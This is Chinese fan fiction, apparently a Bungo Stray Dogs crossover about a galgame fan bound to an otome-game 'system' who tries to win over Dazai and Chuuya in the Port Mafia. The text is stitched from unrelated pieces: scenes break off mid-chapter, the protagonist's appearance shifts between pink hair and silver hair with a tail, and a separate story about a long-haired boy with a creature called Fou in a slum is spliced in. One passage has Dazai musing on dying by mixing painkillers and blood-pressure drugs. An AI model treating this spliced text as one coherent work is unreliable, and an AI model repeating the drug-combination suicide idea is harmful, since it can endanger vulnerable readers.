“……抱歉,我没有随身携带刷卡机。”没想到面前的小孩有银行卡,加藤纱希讶异地捂住嘴。 “可我身上没有现金。”望月只好收回银行卡。 加藤纱希说:“您可以和我一起回我家族的住所……” “不用了姐姐,刚好我有现金哦~”太宰治笑眯眯地递出1000日元。 “……” 加藤纱希盯着他们稚嫩的脸看了会,叹气道:“……好吧,不过这些只够提供几天的水电。” “那加藤姐姐几天后再来吧,到时候我们还会交钱的。”太宰治笑容不变。 “打扰了。”于是加藤纱希收下1000日元后利索地离开了- 将门合上之后,太宰治的脸色就蓦地沉了下来。 “我很好奇哦,望月以前是在哪里长大的?竟然能养出你这样……”他仿佛在想思考应该用什么词合适般停顿了一下,“这样不谙世事的人。” 明明嘴上喊着‘望月’,但语气却跟要吃人一样。 望月莫名其妙地瞥了眼他:“大概算是与世隔绝的地方,我那里从来没交过水电费。” “不是说这个,”太宰治皱眉,“不是水电费的事,而是你竟然直接亮出了你的银行卡,你想把银行卡递给她吗?那样说不定就再也回不到你的手上了哦。” 望月:“我会盯着她的,况且她没带刷卡机,你说的情况不会发生。” “盯着也没用。这世界上可是有很多即使在你眼皮底下做,你也会丝毫没有发觉的事。”太宰治冷冰冰地说。 “至于她没带刷卡机……,你听到她想让你和她回家了吧?” “你要是和她回去,将要面对的就是卑劣的大人们的包围了,他们会用各种手段逼你交出那张卡的。” “我提醒过你不要轻视任何看起来柔弱的存在,除了老人和孩子,还有女人。” “你以为她只是普通的女人吗?别天真了,如果她真的很柔弱是不可能被派出来收费的。” “这可是擂钵街。” 说到最后太宰治的表情突然松散下来:“嘛,不过也幸亏来得是她,女人更为柔软善良的内心会让她看在我们还是孩子的份上偏护我们一点。” 所以加藤纱希最后才会没有过多纠缠的走了,如果是别人看到望月拿出银行卡一定会想方设法得到的。 不过这家伙还真是麻烦啊,挂满宝石的斗篷、数额不明的银行卡…… “你是散财童子么……” 无视了太宰治的嘟囔,望月只是疑惑地问:“你这么清楚这些是因为经历了很多吗,太宰?” 他刚要说些什么,却感觉到空气里弥漫着自己熟悉的血气味,而那血气味的源头是对方的手臂。 定睛一看,淡淡的红色在那层单薄的衬衫布料上漫开,从微微挽起的手腕袖口处,可以看见隐约窥视到在里头缠绕着的绷带。 血?手臂上有伤? 中原中也微微一愣。 敏锐的观察力很快让他注意到这位陌生人的不对劲,脑袋立刻冷静了下来。 这家伙看起来好像在发烧。 中原中也看着面前粉发少年眼神迷蒙,以及红得冒热气的脸颊,眉头皱得更深。 脑袋烧糊涂认错性别了吗?……不过这也能认错吗? 这么想着,中原中也烦躁地咋舌,胸口的火却已经熄灭大半。 “喂,生病的话早点去医院吧。” 但在望月的耳中,中原中也的声音时轻时重,仿佛坏了的音响。 他只是模模糊糊间听到对方让自己去医院这件事。 “…我还从来没去过医院这种地方呢…发烧这样的小病,只要在家睡一觉就好了……去医院什么的,从来都不敢想啊……” 少年的声音越来越小,像是蚊子叫般微弱。 “就连医务室都是我进入港口mafia才有的第一次……这就是大家受伤后会来的地方吗……” 中原中也张了张嘴,眉头皱成一团,却没发出声音。 他不禁回想起之前自己和「羊」的同伴们的那段时间,心情有些复杂。 在物资匮乏的擂钵街,水、食物、物资……光是活下去都要拼尽全力,生病则成为了一种奢侈。 他们只能勉强用偷来的药品苟且偷生,至于去医院,那是想都不敢想的。 从来没去过医院这种地方……是因为以前没有钱,付不起医药费吗? 所以现在也形成了生病不去医院的习惯啊。 中原中也眸色微闪,嘴唇抿成一条直线。 【中原中也好感度+2】 ——实际上并不是这样的。 大部分的贵族世家都有自己专门的家庭医生,生病了也只需要喊他们上门看诊,就连设备、设施都可以直接运送到家中。 因此,对于有钱人而言,医院都是普通人才会去的机构。 作为不仅是有钱人家,而且还是贵族的望月家次子,望月自然从来没有去过医院。 甚至说他的大部分平民知识,都是从玩得galgame里得来的。 然而这个美妙的误会,还是惹起了中原中也的怜悯心。 算了,和一个生病的人有什么好生气的。 “这次就放过你好了。下次再认错我就打爆你的头啊……” 中原中也叹了口气,刚松开手,结果对方便如同烂泥般瘫软下去。 “喂,你怎么回事——” 中原中也手忙脚乱,不得不重新揽住对方的肩膀。再一看,怀里的少年已经彻底烧晕过去,不省人事。 “……哈?喂、喂!啧,昏过去了……这家伙难道不是碰瓷吗喂!” 原本刚熄灭的火又燃了起来,血压飙升。 在心中骂了几声后,中原中也开始苦恼于怎么处理这个昏过去的陌生人。 虽然对方说着不去医院,但放着不管总不是办法,直接丢去医务室算了。 中原中也啧舌,伸手揽向粉发少年的腰肢。 【噢噢噢噢要来了吗要来了吗!少女漫必杀——公主抱!】 【公主抱时克制又热烈地接触对方的身体,近在咫尺的脸颊和温度,胸膛不断加快的心跳……简直就是最好的感情升温动作!】 即便此时宿主已经没了意识,系统还是尽职尽责地解说着——虽然只是为了满足它个人的嚎叫欲。 【天呐,多浪漫!这才是真正的乙女游戏男主角啊,呜呜呜呜我感动地都要咽口水了!】 【公主抱……wakuwaku……】 正当系统期待时,下一秒,中原中也直接把望月以一种扛麻袋的姿势,扛在了自己的肩上。 ——对男人公主抱,开什么玩笑? 而望月趴在中原中也的肩膀上,转起了蚊香眼,意识不清。 一点也不浪漫。 我们这个游戏真的是乙女游戏吗? 系统陷入了深深地自我怀疑中。 坂本手里拿着望月离开前委托自己的文件,站在太宰治办公室门前,咽了口唾沫,这才小心翼翼地敲了敲门。 “进来。” 太宰治趴在桌子上,碎发挡住右眼上的绷带,那件厚重的黑色西装披在肩膀上,要掉不掉。 面前桌面上散落着一堆白色的药片,乱七八糟的药盒、药瓶被随意丢弃在那堆重要的机密文件上,堆在角落。 刚刚做好的心理建设措不及防地崩塌了。 坂本心中一慌,下意识地喊道。 “太宰小姐……” 本就寂静的办公室,此时多了一丝肃杀的死意。 ……他现在主动去惩戒室还来得及吗? 坂本面如死灰。 黑发少年伸出手指,像是玩弹珠般随意地一弹,其中一枚便飞了过去,将其余堆积成山的药片们撞得四散。 其中一片飞到了桌外,咕噜咕噜滚动着,最后停到了坂本的脚边。 太宰治又捏起一片白色的小药片,将它们垒起,语气冷淡地问道。 “望月呢?” “藤、望月君他、他今天先回去了,让我把这个报告交给您……” 啪。 原本一直稳稳垒高的“药片塔”忽然颠塌,药片们再次散落于桌面上。 太宰治抬头看向坂本,那只鸢瞳不断变暗,显得晦涩不明,更令人胆战心惊。 不知想到什么,太宰治的眸色闪了闪,这才不咸不淡地收回视线,随意应了一声。 “……嗯。” 等坂本离开办公室后,太宰治往靠背上一躺,仰头看向空荡荡的天花板,无意识地呢喃着。 “…不在啊……这不是好事吗……” 『“即便前方是「死亡」,我还是想站在您的身边。”』 他的声音停了下来,胸口仿佛有一个看不见的窟窿,空空荡荡的,什么东西也无法装满。 莫大的无趣与厌恶感从窟窿中涌出,几乎淹没他。 去医务室找点药好了。止痛药、降压药和增压药一起吃的话,脑袋应该会轻飘飘的,愉悦又轻松地死掉吧…… 然而,当太宰治慢吞吞地走到医务室时,却听见里面传来激烈的动作声与人声。 “你这家伙给我老实点啊喂!” “唔、请不要……” ……哪个胆大的家伙在医务室瞎搞? 太宰治冷漠地推开医务室的门,结果映入眼帘的二人的脸让他的脑袋停止了思考。 医务室的病床上,赭发少年跪在病床上,身下压着的另一位面带潮.红的粉发少年。 望月的双手被中原中也单手桎梏在了头顶,身上的衬衫被人解开,露出泛着粉.意的胸膛和精致的锁骨,身体也微微颤抖着,眼角含泪,一副饱受蹂.躏的模样。 门口的响声自然也惊动了五感敏锐的中原中也。 中原中也瞬间扭过头,就看见太宰治站在门口,眼神漆黑。 “……中原中也,你要对我的秘书做什么呢?” 走廊死寂了几秒钟,芥川牌电脑终于经历了一次重新启动开了机。 随后,一声愤怒的吼声响彻整个走廊。 “你、你这家伙连太宰先生都……” 在看到自己尊敬的太宰先生同样也被这个陌生的银发少年给强吻非礼时,芥川龙之介的表情更加绷不住了。 黑发男生整个人都气到红温,怒吼道。 “你竟然玷污太宰先生的清白,在下绝对要杀了你——” 第 55 章 第五十五章 ——「玷污太宰先生的清白」。 听到某个关键词后,望月也破防了。 银发少年猛地松开自己搂着对方的手臂,嘴唇也从太宰治的唇上抽离,只留下若有若无的酥麻感。 太宰治感觉到对方身体的抽离,眸色暗了暗。 而被踩到尾巴的望月用手指着面前的芥川龙之介,身后的尾巴气得绷直,拔高了音调。 “什么玷污清白啊,吾辈可都还没上去本垒!” 在带太宰治回家的路上,望月就给坂本发了条消息。 简单说了声已经找到太宰这件事,以及麻烦他顺便帮忙买点东西。 “望月,你要东西给你送过来了。” “真是麻烦你了。” 望月弯了弯眼睛,朝着门口的坂本微笑着说道。 “哈哈哈,你找到太宰先生解决了大麻烦,我还得感谢你没让我们加班呢。” 坂本把手里的几个袋子塞到望月的手里,又忍不住偷偷往里头瞄了几眼,小声八卦起来。 “我看到简讯里你让我买女生的衣服和内衣的时候还愣了一下。你这家伙,什么时候偷偷交的女朋友啊,也不告诉我一声,真不够意思。” 坂本朝他挤了挤眉毛,开玩笑般说道。 “不过那些喜欢你的家伙们知道你名花有主的话,估计都要心碎了吧。” 无论是男性还是女性,明里暗里倾慕望月的人可不少呢。 毕竟在港口mafia这种充满暴力和野蛮的地方,像望月这样温柔谦逊的人,无异于闪烁在黑暗之中的萤火,让人想要伸手握在掌心间。 “女朋友?……啊,不是的。这是给太宰小姐买的。” 望月先是茫然,不过很快就反应过来,无奈地解释道。 “太宰小姐的衣服在入水的时候弄湿了。我家没有女生的衣服,所以只能委托你帮忙买了送过来。” “哦,原来是给太宰小姐买的啊,哈哈,原来是这样啊。” 坂本摸着自己的后脑勺,爽朗地笑了两声,沉默着放下了手。 “谁?” “太宰小姐。” “……太宰小姐?” “是的。” 望月点了点头,眼神清澈。 随后门口一片寂静,只能隐约听到来自浴室淅淅沥沥的水声。 坂本瞳孔地震。 他感觉自己似乎、好像,明白了什么。 “原来说…太宰先生是有这样的癖好吗……”坂本抓着他的板寸头,低声喃喃。“太宰先生有这种兴趣爱好,自己从来都不知道……” 怪不得望月一直管太宰先生喊太宰小姐,是因为发现了太宰先生的这个秘密……所以,也难怪太宰先生一开始那么针对望月,一定是在对方知晓自己秘密后如此不加掩饰而恼羞成怒,而后又因望月是唯一一个理解自己的人而信赖有加…… 坂本一下子便在脑内脑补出许多乱七八糟的剧情。 可惜另一位当事人此时正在浴室里,对自己接下来的遭遇一无所知。 如果太宰治知道坂本的脑内剧场,应该会面无表情地拿出手木仓对准他的脑袋。 坂本艰难地,试图理解自家上司的爱好。 不过,当他忍不住脑补了一下太宰先生穿女装的样子后,鸡皮疙瘩瞬间滚落一地,肃然起敬。 那画面实在不敢想象——简直是地狱绘图。 他宁愿在刑讯室待上一个月也不敢看太宰先生女装啊!! 坂本用手捂住脸,表情沉重地拍了拍自己好兄弟望月的肩膀。 “太宰先生就靠你了。” 望月笑得一脸纯粹。 “是,我明白了。” 【不,我感觉你什么都没明白啊!!】 全程围观的系统终于吐槽道。 …… 太宰治看着手里及地上的吊带裙和内衣,沉默着放下。 “望月。” “太宰小姐,有什么事吗?”望月背对着浴室门问道,“是衣服的尺寸不合适吗?非常抱歉,我现在再去买一套……” “不用了。” 隔着浴室的门,太宰治的声音听上去有些模糊,不过还是能从那咬牙切齿的语气里,听出主人此时正强压着某种情绪。 对方似乎又冷静了下来,深呼吸一口气,声音平静。 “望月,拿你的衣服过来。” “诶?我的衣服吗?”望月微微一愣,点了点头,“我明白了。” 望月拿来了自己的干净衣服,却发现坂本买的那套衣服,此时被太宰治毫不客气地扔了出来。 系统伸长脖子,看了眼那套纯白荷叶边吊带裙,以及相搭配的女士内衣,和坂本一样,同样陷入了绝望地狱。 ——刚刚太宰治没有出来毙了宿主真是万幸,阿门。 望月不知道自己逃过一劫,只是捡起地上的衣服,遗憾地叹了口气。 “真可惜,我觉得太宰小姐的黑发会很配白色的,毕竟——” 【?】 “黑长直和白色长裙可是阿宅心中白月光标配啊啊!” 望月捧着胸口,真情实感地朗诵着。 “虽然太宰小姐是卷发,但气质却是一样的……试想一下,在月色之下,那宛如绸缎的黑色的长发落在肩上,白皙的肌肤,宛如月光洒在白玫瑰上,纯白无瑕又摄人心魄……” 【……我感觉攻略对象他应该不会穿吊带裙,也不会有你脑海中的画面。】 “原来太宰小姐不喜欢这种类型的衣服啊。” 望月恍然大悟。 【……不不不,别说吊带裙,只要是女装他应该都不会想穿的吧喂!】 系统抓狂,拼命地尖叫。 因为太宰治是男的,真的是男的啊! 可它不能说。 为了让宿主能接受攻略对象们,它不得不隐瞒起「性别补丁」的真相。 面对眼前的错位感系统只能擦干眼泪往肚子里吞——谁让它绑定了一个galgame玩家作为一款otome game唯一攻略者呢。 它现在只想宿主赶紧攻略角色们,完成任务脱离这个世界——对宿主和它都好。 “不过……虽然没能看到太宰小姐穿纯白吊带裙,但是……” 望月抬手摩挲着自己的下巴,在系统的不安中思考着,然后恍然大悟般握拳一捶自己的手掌心。 “是那个吧是那个吧!「男友衬衫」的剧情!” 粉发少年被自己的脑补出而搞得脸颊通红。 “穿着不合身的衬衫外套,衣服下摆正好遮盖到大腿中间,露出匀称修长的腿……呜…还是别继续想了。” “啊,不过太宰小姐和我差不多高来着,那衣服裤子应该差不多都能穿的样子。” 系统沉默着,看着自家宿主一会儿脸红一会儿低落,莫名心中升起一丝仿佛老爷爷(或是老奶奶)一般的安然慈祥感。 算了。 宿主玩得高兴,对游戏和攻略任务依然这么热情,它就安心了。 ……它只是个普通的游戏系统,还能有什么要求呢:D 望月还在客厅里如同阿宅般陷入自己幻想之中,浴室的门发出咔嚓一声轻响。 他立即回复平时正常的模样,切脸速度之快令人望尘莫及。 “太宰小姐已经洗好了吗?晚饭在……” 望月一边问着,一边抬起脑袋看向声音源头,在看见眼前的景象时不禁愣住。 太宰治身上的绷带已经全部换新,然而对于自己此时此刻的衣着却丝毫不在意。 因为身形相仿,黑发少女穿着自己的衣物。毕竟两个人无论是身高还是体型都比较接近,所以穿起来非常合身,并没有出现望月脑补的「男友衬衫」场景。 然而,或许是因为过于随意,黑发少女上半身的白衬衫纽扣却没有扣好。 甚至还毫不避讳地敞开着,露出胸口松松垮垮的绷带,。 柔软微卷的长发湿漉漉的,看上去更加乌黑;发梢滴落的水珠将衬衫的布料打湿,衬得少女更加楚楚可怜,惹人怜爱。 【滴】 【获得CG-「出浴①」】 不过这幅美景望月并没有多看,而是立即转过身去。 虽然他非常喜欢二次元美少女,但是作为一名绅士以及良好的家庭教育的影响下,在对待女性上望月还是相当尊重和恪守礼节的。 ——就算这里是游戏,对方只是纸片人。 望月轻轻咳嗽一声,小声提醒道。 “咳,太、太宰小姐,那个……把衬衫扣好比较好哦。” “就、就算您再怎么信任我,我还是个男人呀。” 太宰治:…… 太宰治低头看了眼自己平坦的胸口,抬头又看见望月通红的耳朵,无语的心情再次席卷而来。 鸢色的眸子眯起,不知想到了什么,原本皱着的眉头也缓慢地舒展开。 太宰治不动声色地走到了望月的身边,忽然伸手握住他的手腕。 望月本就对太宰不设防,措不及防中,被黑发少女直接一把握住手腕拽过,推倒在一旁的沙发上。 “诶、诶?” 望月的惊讶劲儿还没过去,抬起脑袋,正好对上那只似乎能将一切色彩吸进去的鸢眸。 如同海妖般,带着似笑非笑的神色注视着自己。 黑发少年低头,眯眼看着自己身下的少年此时脸上的绯红。 太宰治一只手支撑在望月的脸侧,另一手则带着一种危险意味,游离在脖颈处的动脉附近。 “我真的很好奇你的脑袋是什么构造呢,呐,望月君……” 太宰治压低了声音,胸腔的起伏似乎也带着一起低颤。 “——让我试试看吧。” 你的「性别认知」能做到什么地步。 在这只有狭小的沙发上,两个人的距离靠得很近,空间中弥漫着紧张却又暧昧的危险感。 而望月此时正疯狂瞳孔地震。 ……等一下等一下等一下!! 这是不是太刺激点了?! 而且,另一个关键问题是, ——太宰小姐的衣服还没穿好啊! 望月并不知道自家饲主准备他丢出去挨揍,还在晃悠着尾巴,笑嘻嘻地挑衅着。 “诶~说起来那次不会是你的初吻吧人类小鬼~” “只是被吾辈贴上嘴唇就这么害羞,记了这么久都没忘记,噗噗,真是纯情……” 中原中也:…… 赭发少年回忆起某件事,耳朵一红。 中原中也忍不住磨了磨自己的牙,伸手敲了下望月的脑袋,骂道。 “你也给我安分点!” 第 56 章 第五十六章 望月捂着自己又被中也敲了的脑袋,无辜地眨巴眨巴眼。 这次中也敲得不痛诶。 这个念头在脑内一闪而过,然后望月便毫不犹豫地将锅全都丢给了芥川龙之介。 “吾辈难道还不乖巧吗?是那家伙先出手的哦,不就是贴了一下嘴唇就一直记仇到现在。” 芥川龙之介对于望月这种躲在其他人背后,不敢正面和自己一战的行为感到不屑。 这家伙还总是挑衅自己! 最近太宰先生对望月君的针对明显升级了。 如果说之前故意找望月君的茬,提出些天马行空的要求,什么不带咖.啡.因的咖啡,没有面包的汉堡,吃完以后能让人升天的魔法糖果……却也都还在安全的范围内,只是让人感到苦恼和抓狂。 然而现在,太宰先生却有意将望月君往最危险的任务地点安排,即便不是最危险,那也绝对是些吃力不讨好的麻烦工作。 黑市交易、武装火拼、镇压敌对势力……这些都在港口黑手党的业务范畴内。对比之下,之前双倍的文书工作量都显得格外温和。 不过,这种危险工作大多都是武斗派的任务,再不济也是交给各个行动小组。 但无论怎样,像望月君这种羸弱的文职人员也不可能站上第一线。 ……所以,果然还是被太宰先生针对了吧。 黑手党们忍不住在心中同情起望月来,但迫于上司在外的威名而不敢多言。 每天奔波于危险的任务现场,身上挂彩也都无可避免。 这段时间,望月便成了医务室的常客。 “今天真是太危险了,望月君。” 局部麻醉的效果还没散,胳膊依旧毫无知觉。 望月不作答,只是微笑着看着医务人员把带血的棉球丢到托盘里,缝针结束后用绷带包扎手臂。 包扎结束后,医务室的女医师总算长出一口气,小声说道。 “不过你也有够倒霉的,这么多人只有你一个受伤了。如果爆破物的威力再大一些,就不只是缝三四针的事了。啊,还有望月君脸上的伤……希望之后可不要留疤啊。 “谢谢,辛苦您了。至于脸上的伤……哈哈,不都说伤疤都是男子汉的勋章吗?” 望月一边摆手,一边朝着医生开玩笑道。 “下次我会带礼物来感谢您的。” 少年站起身穿上衣服,侧对着窗户;阳光下,微卷的粉发透着一抹淡色,映衬着那张如玉的脸更加白皙,脸颊上止血绷带让他整个人多了一丝说不出的病弱感。 “不必客气,这是我的工作。” 呜哇,望月君也是一等一的美少年啊……什么时候开始我们黑手党的颜值要求这么高了。而且性格也相当不错,文质彬彬,温柔体贴…… 嗨呀,如果不是年龄摆在这里,她真想倒追对方啊。 女医师忍不住在心中感叹,同时也忍不住心疼。 “那个,就当我多嘴吧。我觉得这样下去可不行。太宰先生虽然有张天使面孔,不过性格完全相反,堪称魔鬼。” “望月君的能力这么强,完全可以考虑换到别的部门工作吧?” 【就是说,现在更换攻略人物还来得及啊宿主!】 出了医务室,系统也忍不住叭叭地劝说起望月换对象。 “换不换也都一样吧,反正任务是要攻略五位不同角色。” 【话是这么说,但是我们应该循序渐进,从易到难啊!放弃太宰治,先去攻略其他更简单的角色,之后再回来攻略他嘛!】 【如果宿主一直卡在太宰这里,攻略掉五位角色都不知道要多久了。】 “啊,这不是游戏机制的锅吗——必须要攻略两位初始人物之一,才能开启其他路线。” 【呜……】 系统哭唧唧时,路过的一位黑手党看到望月从医务室出来,抬手打了个招呼。 “噢,望月君,你的伤没事吧?” “没问题,只是小伤罢了。” 望月在黑手党之中人缘相当的好,甚至说走在路上,都会被人邀请晚上一起喝酒的程度。 如果其他路人NPC也能显示好感度的话,想必是清一色的「喜爱」。 但是……但是…… 偏偏那个最关键的需要攻略的家伙,完全一点都不动心啊喂! 自从那天「入水自杀」事情后,太宰治对望月就再没有什么好脸色过。 即便之前累计的负好感已清零,但是兜兜转转这么多天过去,太宰治的好感度依旧保持着最开始的状态——零蛋。 不过从某种意义上说,好感度从负到零,应该也算是提升了吧? 但太宰治的态度看上去比之前还要冰冷:之前至少还会对宿主嘲讽地笑,现在那眼神就差拿枪抵在宿主脑袋上了。 而且专门把宿主往危险的任务地点塞,是巴不得宿主死吗! 这哪里是零好感度,是负五十了吧! 呜呜呜……原来太宰治是这么难攻略的对象吗,所以为什么要把他放到初始攻略对象里头去哇! 系统感到绝望。矮小的房屋,脏乱的街道,以及目露贪婪的不怀好意的人们。 “小鬼,把你身上的钱都交出来。” “还有这些宝石。” “哈哈哈,这个小鬼胆子可真够大的,把这么多耀眼的宝石挂在斗篷上……” “说不定是假货呢?” “你个没眼力见的!看他细皮嫩肉的还有穿的布料就知道了,他绝对是有钱人家的少爷,少爷身上的宝石肯定都是真的!” 被盯上了。 黑色长发的少年平静地注视这些逐渐包围他的成年人,怀里的小兽倒是有些蠢蠢欲动,他轻轻地抬手按住了它。 “小鬼,好心提醒你一下,像你这种有钱人家的少爷下次就不要来擂钵街了。” “有没有下次还说不定呢哈哈哈哈,要是我们心情不好待会就杀了你哦。” “喂,我们跟你说话呢!”见他一直没反应,其中一个男人不耐烦地上前想要推搡他。 “吓傻了吗,就只知道呆呆地看着……!” 伸出的手还没碰到长发少年就在半空掉了下来,和他的手臂分离,落在了地上。 “啊啊啊——!!” 男人捂着喷涌出血液的断臂,惊恐又疼痛地叫出声。 “……这是怎么回事?!”其他人骇然地望向长发少年,这神秘离奇的一击瞬间就震住了他们。 “怪物!他是怪物吗!?” “是异能者啊……笨蛋。” 异能者,如其名就是和普通人不同、拥有着各种异能力的人,他们在人类中只占极少数,可却不是普通人可以轻易对付的。 如果说之前只是因为长发少年一身的宝石而起了贪心的话,那么现在见到同伴那还没碰到少年手就突然断了的情况,在场所有人都明白了少年为什么会穿这么一身出现在擂钵街了。 他们就只是没有异能的普通人,平时就靠着抢劫误入擂钵街的外人为生,想不到这次遇见居然是异能者,而且还是个恐怖的异能者……这绝对不是他们能啃得动的硬骨头。 “请……请原谅我们的无礼,大人。”刚刚还嚣张着说会让长发少年连财带命一起留下的成年人们满脸恐惧和悔恨。 “我们并不知道您是异能者大人,非常抱歉!” “求求您放过我们吧——!” 空中的气流轻柔地抚过长发少年的额角,他金色的眼眸泛着冷酷的金属光泽,始终以平静的姿态注视着这些突然开始痛哭流涕的成年人。 因为发现会死,所以开始惧怕,就连先前想要的钱财和宝石现在也不敢要了。 果然,人都是会为死亡而感到惴恐的。 长发少年不打算会他们,因为身上这件华丽的缀满宝石的斗篷,这种家伙,他这一路上见的多了。 按下发出嘲笑叫声的芙芙,他转头看向身后黑暗的小巷。 值得他关注的另有其事。 从他进入擂钵街开始,比遇到这些家伙们更早的时候,就一直有一道视线在追逐着他,现在他和那视线对上了。 无机质的金眸撞进了一双充满着死气的鸢色眼瞳。 是死气。曾经与“死”打交道最多的直死之魔眼拥有者,长发少年轻易就看出了那双本该温暖的瞳孔中漫着的死气。 真奇怪啊,居然有人憧憬着死。 长发少年百无聊赖地想着,然后无视了那鸢色的眼眸和身后不断求他放过的成年人们径直转身离开- 闲逛着寻找目标,多亏了那些哭得稀里哗啦的大人们,在擂钵街暗中窥视着他的家伙们也都知道他是不好惹的了,目前还没人愿意来主动招惹他。 但估计也安静不了多久吧,长发少年低头看了眼自己的斗篷,朴素的白色底料却有金色暗纹布满其上,在某些暗纹的交接处还挂着一颗颗闪耀的宝石。 宝石在阳光的照耀下纯净剔透,一看就是上等货,偏偏他身上还不只是一颗颗上等的宝石,粗略一数就是十几颗。 这是何等富贵、何等耀眼、何等勾起人心的贪欲啊。 这么多宝石在眼前晃荡,暗处窥视的人们总会有忍不住的时候。 到时候又是一阵麻烦吧。 “芙~” 怀里像小猫又像小狗的生物,立着一对三角的大耳朵、摆着蓬松的大尾巴,四脚并用地抓住长发少年的肩膀往上爬。 它浑身雪白,耳朵内侧是像樱花一样的粉色,耳尖却是天空的蓝色,和狮子一样长着一圈鬓毛的脖颈处也扣着一件小斗篷。 它华丽梦幻的就像传说中的精灵。 “芙芙,怎么了?”长发少年垂眸摸了摸它脑后的白毛。 “芙!”被称为芙芙的小兽站在长发少年的肩膀上往后看,提醒似的叫了一声。 “嗯,我知道,他还在跟着我们。” 长发少年头也没回的安抚芙芙。 之前同他对视上的鸢色眼睛的主人依旧跟着他身后,仿佛一点也没被他刚才表现出来的异能吓到。 不仅如此,那家伙被发现后直接就不藏了,光明正大地在他后面走。 注意到芙芙正好奇地望着自己,鸢色眼睛先是怔愣地瞪圆了,然后再慢慢弯起- 从长发少年进入镭钵街开始,太宰治就注意到他了,或者应该说是很多人都注意到他了。 太显眼了,真的太显眼了。 少年将黑色的长发扎成了粗粗的麻花辫,一双金色的眼睛毫不在意的环视四周,斗篷上挂着的宝石在阳光的照射下熠熠生辉。 哦,不对,那并不是什么毛绒娃娃。 在所有人都以为长发少年怀中奇异又可爱的芙芙只是有钱人喜爱的娃娃时,太宰治凭着出色的观察力发现了那生物是活的。 从来没有见过的奇异生物勾起了太宰治的好奇心,他慢悠悠地抬脚跟上了长发少年。虽然长发少年的表情没有任何变化,但从他不断打量周围的视线和没有目的的行动来看,这绝对是误入擂钵街的倒霉鬼。 真可怜啊,富家小少爷不小心进入了吃人不吐骨头的地方呢。 但即使少年很可怜,太宰治心中对他其实并没有什么怜悯。 不管怎样都是这小少爷自己选择走进来的,就算出事了,那也是他在为他自己的天真负责~ ……原本是这样想的。 可长发少年在被擂钵街的成年人困住时,竟然展现出了惊人的异能。 太宰治眸光沉沉地看着少年轻描淡写的就震慑了周围蠢蠢欲动的人们。 果然啊,就算概率很小但也不是没可能发生的。长发少年之所以对擂体街的恶意视若无睹,是因为他根本就不在乎,不是没有接触过的不在乎,而是自信能摆平一切的不在乎。 既然有强大的异能,那么要回家应该也很容易吧? 所以为什么呢?为什么会在外面游荡,甚至还进入了擂钵街? 身边还有那样奇怪的生物……好好奇啊。 就像被毛线团吸引的小猫,太宰治心里痒极了,他想弄清楚这个富贵的小少爷为什么来到擂钵街的原因。 擂钵街可是横滨的三不管地带,是贫民窟,在这里生活的不是被抛弃的孤儿就是亡命之徒。 好奇在长发少年与他对视时达到了顶峰,那是一双怎样的眼睛呢? 太宰治从来没见过这样的眼睛,在那双金色的眼中他看不到生,也看不到死,但也不是一片虚无,仿佛只是单纯的看着。 看着所有- 猫猫都是难以忍耐强烈的好奇的,它们会伸出爪子试探。 当长发少年在一栋看起来比周围破旧的房屋更新一些的房屋前停下时,太宰治忍不住开口了。 他故作可爱地说:“像你这种衣着华贵的小少爷可不应该来这里哦~” 于是长发少年终于不再背对着他,他转过身,那张精致的像女孩子的脸上还是一片漠然。 无机质的金眸上下扫视了太宰治一圈,又转过身去:“小少爷?你是在说你自己吗?” “欸?!” 太宰治像猫咪一样瞪圆双眼,他惊异道:“你居然看出来了吗?” “我还以为我已经完全融入这里了呢。” “贫民窟的人应该用不起那么多绷带。”长发少年这次连头也没回。 绷带? 唔,太宰治身上确实缠满了绷带,从胸膛到脖颈再到手臂,就连右眼上也缠了一圈。 “还有么还有么?还有什么是我暴露的原因?” “走姿,气质。”似乎不耐烦了,少年言简意赅地说道。 “哇~原来你这么关注我啊,明明都没有回过头看我,却一直默默关注着我吗……?”太宰治面上的笑容明媚,语调也黏糊糊甜腻腻的,“还那么放心的让我跟着,你对自己的异能很自信呢!” “不过,其实这些绷带都是我凭本事赚来的哦,并不是因为我是什么少爷才有的!” “……” 长发少年没有再会他,反而是对着面前的房屋内淡声道:“为什么还不出来?” “我看中这间房了。” 在擂钵街的房屋都是能者居住,只要有实力想住什么样的房都可以,这个规矩是少年打听过来的。 “啪!” 话音刚落,房屋的门就被从内打开了。 一个精瘦的男人愤怒地朝他喊:“滚一边去,小鬼头!” 但在看清少年身上闪亮的宝石后,男人眼中的怒火就变成了贪婪。 “你要是把身上的宝石留下,我就原谅你的冒犯怎么样?”男人从怀里摸出一把枪,“不然你等着用死来给我道歉吧!” 太宰治眸光闪烁地看着男人手里的枪,不无意外的想,原来这就是男人能住在这栋看起来还不错的屋子的原因,一把罕有的枪啊。 他又将目光好奇地移向长发少年。 你会怎么做呢? 要不是没实体,它都想来个失意体前屈了。 【呜呜,这要怎么办啊……】 告别完打招呼的黑手党大叔,望月很快注意到系统的沮丧和郁闷,不禁觉得好笑。 “呵呵,不要担心啦01,既然都选中我作为玩家,那就相信我的实力吧。” “不要气馁啊。我们是搭档对吧,呐?” 粉发少年的声音柔和,带给人一种温暖的安心感。 【宿主……】 系统感动得就差汪地一声哭出来了,重新充满了勇气。 紧接着,就看到望月抬起手,朝着半空晃了晃自己的五根手指,自信满满地抬起下巴。 “哼哼,而且再怎么说,我都是玩过五百部galgame的男人哦,不论什么类型的角色,都有她的攻略之道。” “呃,虽然现在我们的情况看上去很艰难的样子,但我可是相当有自信的!” 【真的吗?】 “那副冷漠的姿态,空无一物的眼神,孤僻,试图让任何人远离自己,抗拒亲密关系……仿佛是奴村露乃(*《魔法少女网站》女二)和吾妻梨花(*galgame《3days》中的角色)的结合体啊!” “啊,系统你知道吗,攻略梨花酱主人公至少要死亡15次以上呢,这才一点一点融化对方的心房,当时我可是通宵了整整三天才收集到梨花酱的全CG呢!” 提及自己喜欢的galgame,望月又开始两眼放光,和秋叶原那群otaku(死宅)没什么两样。 【……】 我好像知道为什么一直卡关了。 系统在心中默默吐槽。 他的宿主很好,很靠谱……但他是个不折不扣的死宅啊! 【这些经验真的能够适用吗?那、那要不就按照你攻略梨花酱的方式去攻略太宰治试试吧……】 “这就错了哦,01。” 望月弯起眼睛,笑着说道。 “虽然我说太宰小姐像是露乃和梨花的结合体,但也只是做一个类比。” “即便是二次元中的角色,她们也都是独一无二。谁也不能成为谁的替代品。” “安心,我会一点点找到攻略太宰小姐的方法的。” “这是身为galgame玩家的尊严啊。” 【……】 但我们不是galgame是otomegame啊。 系统最后的一丝力气都用来吐槽了。 “啊,找到了。” 